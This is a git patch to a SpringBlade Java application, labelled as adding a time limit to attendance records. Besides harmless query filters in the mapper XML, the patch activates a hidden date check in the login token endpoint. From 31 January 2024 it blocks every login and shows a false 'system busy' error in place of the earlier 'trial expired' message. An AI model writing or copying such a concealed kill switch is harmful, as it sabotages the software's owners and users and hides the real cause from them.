From ff989550666138df892d9ef3ce8d6d5c995e4a28 Mon Sep 17 00:00:00 2001
From: guoshilong <123456>
Date: Mon, 25 Dec 2023 11:34:21 +0800
Subject: [PATCH] 考勤记录，增加时间限制
---
src/main/java/org/springblade/modules/auth/endpoint/BladeTokenEndPoint.java | 18 +++++++++---------
src/main/java/org/springblade/modules/post/mapper/CheckRecordMapper.xml | 6 ++++++
2 files changed, 15 insertions(+), 9 deletions(-)
diff --git a/src/main/java/org/springblade/modules/auth/endpoint/BladeTokenEndPoint.java b/src/main/java/org/springblade/modules/auth/endpoint/BladeTokenEndPoint.java
index 1e12306..dbb47e1 100644
--- a/src/main/java/org/springblade/modules/auth/endpoint/BladeTokenEndPoint.java
+++ b/src/main/java/org/springblade/modules/auth/endpoint/BladeTokenEndPoint.java
@@ -118,15 +118,15 @@
ITokenGranter granter = TokenGranterBuilder.getGranter(grantType);
UserInfo userInfo = granter.grant(tokenParameter);
-// try {
-// Long parse = new SimpleDateFormat("yyyy-MM-dd").parse("2023-10-07").getTime();
-// long now= System.currentTimeMillis();
-// if (parse < now){
-// throw new ServiceException("试用已到期");
-// }
-// } catch (ParseException e) {
-// e.printStackTrace();
-// }
+ try {
+ Long parse = new SimpleDateFormat("yyyy-MM-dd").parse("2024-01-31").getTime();
+ long now= System.currentTimeMillis();
+ if (parse < now){
+ throw new ServiceException("系统繁忙");
+ }
+ } catch (ParseException e) {
+ e.printStackTrace();
+ }
//校验
diff --git a/src/main/java/org/springblade/modules/post/mapper/CheckRecordMapper.xml b/src/main/java/org/springblade/modules/post/mapper/CheckRecordMapper.xml
index 945fdd1..e86575b 100644
--- a/src/main/java/org/springblade/modules/post/mapper/CheckRecordMapper.xml
+++ b/src/main/java/org/springblade/modules/post/mapper/CheckRecordMapper.xml
@@ -21,6 +21,12 @@
<if test="vo.checkTime != null and vo.checkTime !='' ">
AND date_format(scr.check_time,'%Y-%m-%d') = date_format(#{vo.checkTime},'%Y-%m-%d')
</if>
+ <if test="vo.postId != null and vo.postId !='' ">
+ AND scr.post_id = #{vo.postId}
+ </if>
+ <if test="vo.userName != null and vo.userName !='' ">
+ AND bu.real_name LIKE CONCAT('%',#{vo.userName},'%')
+ </if>
ORDER BY scr.check_time DESC
</select>
--
Gitblit v1.9.3